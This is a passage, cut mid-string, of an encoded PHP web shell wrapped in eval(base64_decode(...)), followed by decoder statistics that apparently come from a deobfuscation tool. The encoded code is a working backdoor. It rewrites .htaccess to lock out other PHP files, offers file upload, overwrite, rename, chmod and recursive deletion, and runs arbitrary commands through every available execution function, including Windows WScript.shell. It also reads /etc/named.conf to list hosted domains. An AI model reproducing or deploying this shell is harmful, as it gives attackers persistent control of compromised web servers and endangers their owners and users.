idG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsnY2htb2QnXSA9PSBUcnVlKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY3JlYXRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwiPgogICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICA8aDI+PD89ICRfR0VUWydjaG1vZCddID8+PC9oMj4KICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgc3R5bGU9IndpZHRoOjEwMCUiIG5hbWU9ImNobW9kIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7Nzc1Ij4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtY2htb2QiIGNsYXNzPSJidG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2JvZHk+Cgo8L2h0bWw+Cgo8P3BocAoKaWYgKCRfR0VUWydiYWNrZG9vciddID09IFRydWUpIHsKICAgIC8vIGNoZWNrIGlmIGh0YWNjZXNzIGhhdmUgdGhpcyBjb2RlCiAgICAkZmlsZV9odGFjY2VzcyA9ICRmdW5nc2lbMjddKCRfU0VSVkVSWyRmdW5nc2lbMzNdXSAuICIvaHRhY2Nlc3MiKTsKICAgICRjYXJpX2NvZGUgPSBleHBsb2RlKCc8JywgJGZpbGVfaHRhY2Nlc3MpOwogICAgaWYgKCFlbmQoJGNhcmlfY29kZSkgPT0gJy9GaWxlc01hdGNoPicpIHsKICAgICAgICAvLyBwZW5nZWNla2FuIG5hbWEgZmlsZSBzZWthcmFuZwogICAgICAgICRuYW1hZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgICAgICAkZmlsZVV0YW1hID0gZXhwbG9kZSgiLyIsICRuYW1hZmlsZSk7CiAgICAgICAgJGh0YWNjZXNzX3RleHQgPSAnCjxGaWxlc01hdGNoICIucGgqfFBoKnxwSCp8UEgqIj4KICAgIE9yZGVyIERlbnksQWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiJyAuIGVuZCgkZmlsZVV0YW1hKSAuICd8aW5kZXgucGhwfGluZGV4Lmh0bWx8Ki5wbmd8Lmh0YWNjZXNzIj4KICAgIE9yZGVyIERlbnksIEFsbG93CiAgICBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+JzsKICAgICAgICAkZG9jdW1lbnRfcm9vdCA9ICRfU0VSVkVSWyRmdW5nc2lbMzNdXTsKICAgICAgICAkY21kID0gJGZ1bmdzaVsxNF0oImVjaG8gJyIgLiAkaHRhY2Nlc3NfdGV4dCAuICInID4+ICIgLiAkZG9jdW1lbnRfcm9vdCAuICIvLmh0YWNjZXNzIik7CiAgICAgICAgaWYgKCRjbWQpIHsKICAgICAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1jaG1vZCddKSkgewogICAgJG51bWJlckNobW9kID0gJF9QT1NUWydjaG1vZCddOwogICAgJGNobV9vX2QgPSBjaG1vZCgkZnVuZ3NpWzldIC4gIi8iIC4gJF9HRVRbJ2NobW9kJ10sIGlzX2ludCgkbnVtYmVyQ2htb2QpKTsKICAgIGlmICgkY2htX29fZCkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWyd1cGxvYWQtc3VibWl0J10pKSB7CiAgICAkbmFtZV9maWxlID0gJF9GSUxFU1snZ2Vja28tZmlsZSddWyduYW1lJ107CiAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydnZWNrby1maWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkbW92ZSA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsIF9fRElSX18gLiAiLyIgLiAkbmFtZV9maWxlKTsKICAgIGlmICgkbW92ZSkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcmVuYW1lJ10pKSB7CiAgICAkbmV3X25hbWUgPSAkX1BPU1RbJ3JlbmFtZSddOwogICAgJHJlX25hbWUgPSByZW5hbWUoJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ3JlbmFtZSddLCAkbmV3X25hbWUpOwogICAgaWYgKCRyZV9uYW1lKSB7CiAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1maWxlJ10pKSB7CiAgICAkdGV4dGFyZWEgPSAkX1BPU1RbJ3RleHQtZmlsZSddOwogICAgJHdyaXRlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ2YnXSwgJHRleHRhcmVhKTsKICAgIGlmICgkd3JpdGUpIHsKICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgIH0KfQoKCgppZiAoaXNzZXQoJF9QT1NUWydnZWNrby1zdWJtaXQnXSkpIHsKICAgICRpdGVtID0gJF9QT1NUWydjaGVjay1nZWNrbyddOwogICAgaWYgKCRfUE9TVFsnYWN0aW9uLWdlY2tvJ10gPT0gImRlbGV0ZSIpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbSBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbOV0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aAogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsKICAgICAgICAgICAgaWYgKCRmdW5nc2lbMThdKCRmZCkgfHwgJGZ1bmdzaVsxN10oJGZkKSkgewogICAgICAgICAgICAgICAgJHJtZGlyID0gdW5saW5rRGlyKCRmZCk7CiAgICAgICAgICAgICAgICAkcm1maWxlID0gJGZ1bmdzaVszMF0oJGZkKTsKICAgICAgICAgICAgICAgIGlmICgkcm1kaXIgfHwgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBzdWNjZXNzKCkKewogICAgcmV0dXJuICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZGlyPScgLiBoZXgoJEdMT0JBTFNbJ2Z1bmdzaSddWzldKCkpIC4gJyZyZXNwb25zZT1zdWNjZXNzIj4nOwp9CmZ1bmN0aW9uIGZhaWxlZCgpCnsKICAgIHJldHVybiAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Rpcj0nIC4gaGV4KCRHTE9CQUxTWydmdW5nc2knXVs5XSgpKSAuICcmcmVzcG9uc2U9ZmFpbGVkIj4nOwp9CgpmdW5jdGlvbiBfbWFkX2NtZCgkZGUpCnsKICAgICRvdXQgPSAnJzsKICAgIHRyeSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgICAgIHJldHVybiBAJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCRkZSk7CiAgICAgICAgfSBlbHNlIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bM10oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgICAgICRleGVjID0gYXJyYXkoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxXSgkZGUsICRleGVjKTsKICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsICRleGVjKTsKICAgICAgICAgICAgcmV0dXJuICRleGVjOwogICAgICAgIH0gZWxzZSBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMl0oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3BjbG9zZScpKSB7CiAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJGRlLCAiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpCiAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydmdW5nc2knXVs2XSgkZik7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAgICAgJHBpcGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgJHByb2Nlc3MgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzRdKCRkZSAuICcgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IikpLCAkcGlwZXMsIG51bGwpOwogICAgICAgICAgICAkb3V0ID0gQCRHTE9CQUxTWydmdW5nc2knXVs4XSgkcGlwZXNbMV0pOwogICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICB9IGVsc2UgaWYgKGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICAgICAgJG1hZFdzID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgICAgICAgICAkZXhlYyA9ICRtYWRXcy0+JEdMT0JBTFNbJ2Z1bmdzaSddWzFdKCdjbWQuZXhlIC9jICcgLiAkX1BPU1RbJ2FsZmExJ10pOwogICAgICAgICAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgICAgICAgICAkb3V0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOwogICAgICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCgoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRkaXJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsxOF0oJGRpciAuICIvIiAuICRyZWFkRGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CgogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIgLiAiLyIgLiAkcmVhZERpcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgoKCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMzBdKCRmaWxlKTsKICAgIH0KICAgICRkaXJzID0gYXJyYXlfcmV2ZXJzZSgkZGlycyk7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7CiAgICAgICAgJEdMT0JBTFNbJ2Z1bmdzaSddWzI5XSgkZGlyKTsKICAgIH0KfQoKZnVuY3Rpb24gZm9ybWF0U2l6ZSgkYnl0ZXMpCnsKICAgICR0eXBlcyA9IGFycmF5KCc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5LQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+TUI8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPkdCPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5UQjwvc3Bhbj4nKTsKICAgIGZvciAoJGkgPSAwOyAkYnl0ZXMgPj0gMTAyNCAmJiAkaSA8IChjb3VudCgkdHlwZXMpIC0gMSk7ICRieXRlcyAvPSAxMDI0LCAkaSsrKTsKICAgIHJldHVybiAocm91bmQoJGJ5dGVzLCAyKSAuICIgIiAuICR0eXBlc1skaV0pOwp9CgpmdW5jdGlvbiBzeW1saW5rRG9tYWluKCkKewogICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOwogICAgaWYgKCEkZDBtYWlucykgewogICAgICAgICRkb20gPSAiPGZvbnQgY29sb3I9cmVkIHNpemU9MnB4PkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9mb250PiI7CiAgICAgICAgJEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwogICAgfSBlbHNlIHsKICAgICAgICAkY291bnQgPSAwOwogICAgICAgIGZvcmVhY2ggKCRkMG1haW5zIGFzICRkMG1haW4pIHsKICAgICAgICAgICAgaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSkgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKSB7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZG9tID0gIiRjb3VudCBEb21haW4iOwogICAgfQogICAgcmV0dXJuICRkb207Cn0KCmZ1bmN0aW9uIGxpbnV4X3ZlcnNpb24oKQp7CiAgICAkcGVjYWggPSBleHBsb2RlKCIgIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzExXSgpKTsKICAgICRwY2FoID0gZXhwbG9kZSgiLSIsICRwZWNhaFsyXSk7CiAgICByZXR1cm4gJHBjYWhbMF07Cn0KCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKQp7CiAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewogICAgICAgIC8vIFNvY2tldAogICAgICAgICRpbmZvID0gJ3MnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgIC8vIFN5bWJvbGljIExpbmsKICAgICAgICAkaW5mbyA9ICdsJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKICAgICAgICAvLyBSZWd1bGFyCiAgICAgICAgJGluZm8gPSAnLSc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAgICAgLy8gQmxvY2sgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2InOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIC8vIERpcmVjdG9yeQogICAgICAgICRpbmZvID0gJ2QnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAgICAgLy8gRklGTyBwaXBlCiAgICAgICAgJGluZm8gPSAncCc7CiAgICB9IGVsc2UgewogICAgICAgIC8vIFVua25vd24KICAgICAgICAkaW5mbyA9ICd1JzsKICAgIH0KICAgIC8vIE93bmVyCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CiAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgLy8gR3JvdXAKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgogICAgLy8gV29ybGQKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGhleCgkbikKewogICAgJHkgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsKICAgICAgICAkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOwogICAgfQogICAgcmV0dXJuICR5Owp9CmZ1bmN0aW9uIHVuaGV4KCR5KQp7CiAgICAkbiA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsKICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQo/Pgo="));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 5bfd1988fed6fb4ceac1bc12a82e2d63 |
Eval Count | 1 |
Decode Time | 78 ms |